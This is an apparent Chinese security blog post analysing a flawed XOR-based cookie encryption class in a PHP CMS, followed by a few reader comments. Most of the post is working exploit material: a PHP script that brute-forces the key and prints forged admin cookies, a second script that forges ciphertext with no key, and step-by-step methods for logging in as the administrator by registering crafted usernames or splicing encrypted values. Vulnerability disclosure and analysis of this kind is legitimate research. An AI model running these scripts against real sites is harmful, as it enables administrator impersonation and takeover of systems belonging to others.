前言
可以用创始人的身份进入前台
如有发现其他漏洞 欢迎交流讨论。
正文
问题出在/core/lib/ext/ACrypt.class.php
class ACrypt {
/* array can serialize to string before encrypt */
public static function encrypt($txt, $key = '') {
$encrypt_key = md5(mt_rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr] . ($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(self::_crypt($tmp, $key));
}
public static function decrypt($txt, $key = '') {
$txt = self::_crypt(base64_decode($txt), $key);
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private static function _crypt($txt, $encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
}
在加密时,先取一个范围0~32000的随机数md5后作为encrypt_key
然后计算$tmp .= $encrypt_key[$ctr] . ($txt[$i] ^ $encrypt_key[$ctr++]);
注意这里是$ctr++ 先运算,后加1
也就是说只要把tmp的值 每俩位xor 即可得到明文 (这也是解密函数的做法)
真正的加密只有_crypt函数,而这个函数的只实现了一个与密钥进行xor的运算。
看一下验证代码
if(ASession::get('member_id')) {
if(!ACookie::get('member_id')) {
$_MI = M('Member')->field('m_userid,m_username')->where(array('member_id' => array('EQ', ASession::get('member_id'))))->find();
ACookie::set('member_id', ASession::get('member_id'));
ACookie::set('m_userid', $_MI['m_userid']);
ACookie::set('m_username', $_MI['m_username']);
}
}
elseif(ACookie::get('member_id') > 0) {
$_mid = intval(ACookie::get('member_id'));
$_MI = M('Member')->field('m_userid,m_username,m_status,member_level_id')->where(array('member_id' => array('EQ', $_mid)))->find();
if($_MI['m_userid'] == ACookie::get('m_userid')) {
ASession::set('member_id', $_mid);
ASession::set('m_userid', $_MI['m_userid']);
ASession::set('m_username', $_MI['m_username']);
ASession::set('m_status', $_MI['m_status']);
ASession::set('ml_rank', M('Member')->get_mlRank($_mid));
ASession::set('member_level_id', $_MI['member_level_id']);
}
else {
ASession::clear();
ACookie::clear();
}
在实例化member控制器时,如果session中无member_id值
系统先解密member_id,然后查询数据库中member_id对应的user_id,如果和解密的user_id对应,则验证通过
只需要知道1(admin的user_id)和admin的加密值,即可伪造admin
利用思路1
由于真正的加密只需要知道一组明文密文,就可以得到密钥,进而控制由cookie得到的任何值。
(注意这里的明文、密文和密钥都是针对_crypt函数来说的 这很关键)
密文很容易得到,在会员登录后,就会将会员用户名序列化后加密后保存。
明文是 会员用户名序列化后的值 经过encrypt函数后得到的tmp值
这里encrypt_key不知道,但是范围只有0~32000的md5值 我们可以爆破明文的值。
注册一个9位的用户名,序列化后为16位,得到tmp值为32位。
计算 明文^密文=密钥
当得到的密钥是32位md5值时,得到真实密钥。
show code
<?php
function testkey($testname,$result){
for($j = 0;$j<32000;$j++){
# echo "test ".$j."<br>";
$encrypt_key = md5($j);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($testname); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr] . ($testname[$i] ^ $encrypt_key[$ctr++]);
}
$encrypt_key=$tmp;
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($result); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $result[$i] ^ $encrypt_key[$ctr++];
}
#die();
if(preg_match("/^[0-9a-f]{32}$/",$tmp))
return $tmp;
}
return False;
}
function encrypt($txt, $key = '') {
$encrypt_key = md5(mt_rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr] . ($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(_crypt($tmp, $key));
}
function _crypt($txt, $encrypt_key) {
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
//改成你注册的用户名 必须是9位
$testname=serialize("testtest2");
#echo $testname;
//改成你返回的uwa_m_userid值
$result=base64_decode("CnMNMQE0BWUHbAV2CnwIbAUmCXNUJwI9UiUNLgUhCTsAeQZ0UHYEbQ==");
$xorkey = testkey($testname,$result);
if(!$xorkey) {echo "failed!perhaps error lenth of username";die();}
echo "xorkey: ".$xorkey."<br>";
$fakeid = encrypt(serialize(1),$xorkey);
echo "uwa_member_id: ".$fakeid."<br>";
$fakename = encrypt(serialize("admin"),$xorkey);
echo "uwa_m_userid: ".$fakename;
//拿着uwa_member_id,uwa_m_userid 修改一下phpsession 刷新会员页面即可
利用思路2
这是一种不需要密钥直接伪造密文的方法 也是我写这篇文章想记录的思路
参考 http://www.2cto.com/article/201411/353314.html
设
M=m1,m2,m3,m4... (S代表进入encrypt的明文)
E=e1,e2,e3,e4... (E代表encrypt函数中的encrypt_key)
S=s1,s2,s3,s4... (S代表_crypt中md5后的encrypt_key)
加密过程如下
1、进入encrypt $tmp=e1,e1^m1,e2,e2^m2...
2、进入_crypt $tmp=e1^s1,e1^m1^s2,e2^s3,e2^m2^s4...
密文为e1^s1,e1^m1^s2,e2^s3,e2^m2^s4...
xor密文前俩位得到s1^s2^m1
考虑如下形式的新密文 a,a^s1^s2^m1...
解密过程如下
1、进入_crypt $tmp=a^s1,a^s1^m1(a^s1^s2^m1 ^ s2=a^s1^m1)...
2、进入decrypt $tmp=m1 (a^s1 ^ a^s1^m1)
竟然得到了明文m1
orz
附上代码
<?php
function cracked($Expressly, $Ciphertext, $str, $way)
{
$Ciphertext = base64_decode($Ciphertext);
if ($way == "descrypt") {
$text2 = "";
$str = base64_decode($str);
} else {
$text2 = "a";
}
$j = 0;
$s = 0;
for ($i = 0; $i < strlen($str); $i++, $s++) {
if ($j == 32) {
$j = 0;
$s = 0;
}
$tmp = $Ciphertext[$j] ^ $Ciphertext[$j + 1];
$tmp = $tmp ^ $Expressly[$s];
$tmp = $tmp ^ $str[$i];
if ($way == "descrypt") {
$text1 = $tmp ^ $str[++$i];
}
else {
$text1 = $tmp ^ $text2;
}
$xxoo = $xxoo . $text2 . $text1;
$j = $j + 2;
}
if ($way == "descrypt") {
echo $xxoo;
}
else {
echo base64_encode($xxoo);
}
}
$a = $_GET['a'];
$a = serialize($a);
cracked("s:24:\"a11111111111111111111111\";", "AXhTbwE3VjBSOVIhCmlebgZnXmFUYgdsAzZQNlEwBGIONQcwUGUAY1MzVTUGNVlpUDEMMwUzUToANQRiVCYFaQ==", $a, "encrypt");
?>
ps 突然发现wooyun上有过 =.=
https://wizardforcel.gitbooks.io/php-common-vulnerability/content/58.html
里面的32^36次是在爆破字符吧..
利用思路3
并不是针对加密算法的思路,而是针对加密cookie的思路
如果有一个可控的加密点,就可以伪造任意数据
在文件/uwa/lib/ctrlr/Member/MemberCtrlr.class.php 中
登陆后会设置3个cookie值
ACookie::set('member_id', $_MI['member_id'], null, null, $expireTime);
ACookie::set('m_userid', $_MI['m_userid'], null, null, $expireTime);
ACookie::set('m_username', $_MI['m_username'], null, null, $expireTime);
其中member_id是自增长的,无法控制
user_id是用户名 是唯一值
m_username是昵称,而且不是唯一的
所以 先注册一个昵称为1的用户,得到1的加密值
再注册一个昵称为admin的用户,得到admin的加密值
就可以登陆了 XD
利用思路4
承接思路4,虽然user_id是唯一的,但是在这个加密算法,是序列加密,但没有反馈链。
也就是说把加密a和加密b的结果连在一起 就是加密ab的结果
不过这里setcookie是先做序列化的
if(!is_null($value)) {
$value = ACrypt::encrypt(serialize($value), $key);
}
setCookie($prefix . $name, $value, $expire, $path, $domain);
略有不同,但是位数是固定的,所以,裁剪一下再拼接就好啦
其实就是dede的算法感觉是...
时间: 2017-01-12 at 12:27 回复是的 以前没看过 =。=
时间: 2017-01-12 at 13:11 回复刚知道俊杰师傅数学那么好
时间: 2018-06-26 at 10:25 回复